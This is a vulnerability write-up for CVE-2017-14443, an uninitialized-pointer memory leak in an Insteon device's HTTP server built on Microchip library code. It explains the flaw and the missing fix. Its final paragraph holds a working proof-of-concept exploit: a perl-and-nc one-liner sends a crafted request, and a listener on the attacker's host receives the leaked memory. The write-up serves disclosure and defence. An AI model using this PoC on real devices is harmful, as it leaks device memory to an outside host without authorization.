CVE-2017-14443

An attacker must first authenticate via HTTP Basic Authentication (the advisory notes that `HTTPExecuteGet` is only reached if a valid basic-auth string is provided). The attacker sends a crafted GET request with at least 3 parameters where parameter 3 is "1" and parameter 1 starts with "u" (e.g., "up_PLM"). Because the code checks only that there are at least 3 parameters [5] but then reads parameter 4 from the stack without initializing it, the fourth parameter pointer is uninitialized. By padding the HTTP request with extra bytes (0x68 bytes of 'A') and appending a controlled 4-byte address, the attacker can overwrite the uninitialized stack slot to point to any arbitrary memory location. The device then performs an outbound HTTP GET to the attacker-controlled host, leaking the NULL-terminated string at that address [ref_id=1].

The vulnerability resides in the `insteon_HTTPExecuteGet` function (at seg000:9D02C758) within the HTTPServer task of Microchip's "Libraries for Applications". The function calls `sub_9d043e0c` to parse GET parameters into a local array of pointers, then checks the parameter count at [5] and processes parameters at [6] and [7]. The flaw is that when fewer than 4 parameters are supplied, parameter 4 (`getparam_4`) is never initialized but is still used as the source argument to `strcpy` at [10], copying an uninitialized pointer's target into the global update URL variable.

The advisory does not include a patch or describe a specific fix. The remediation guidance is implicit in the vulnerability description: the `insteon_HTTPExecuteGet` function must validate that all four GET parameters are actually present before dereferencing them. Specifically, the check at [5] (`sltiu $s2, 3`) only ensures at least 3 parameters exist, but the code at [10] uses parameter 4 without verifying it was parsed. A proper fix would either require exactly 4 parameters for this code path or initialize all parameter pointers to a safe default before use, preventing the uninitialized variable condition [CWE-457] [ref_id=1].

The advisory provides a working PoC. Set `sMyIP` to the attacker's IP, then run: `perl -e 'print "GET /x?up_PLM&${sMyIP}&1& HTTP/1.0\r\nAuthorization: Basic VXNlcm5hbWU6UGFzc3dvcmQ=\r\n" . "A"x68 . "\x30\xb1\x06\x9d" . "\r\n\r\n"' | nc $INSTEON_IP 25105`. Simultaneously listen on port 80 with `nc -l -p 80`. The device will connect back and send the string at address 0x9d061b30 (e.g., "600") in the HTTP request path [ref_id=1].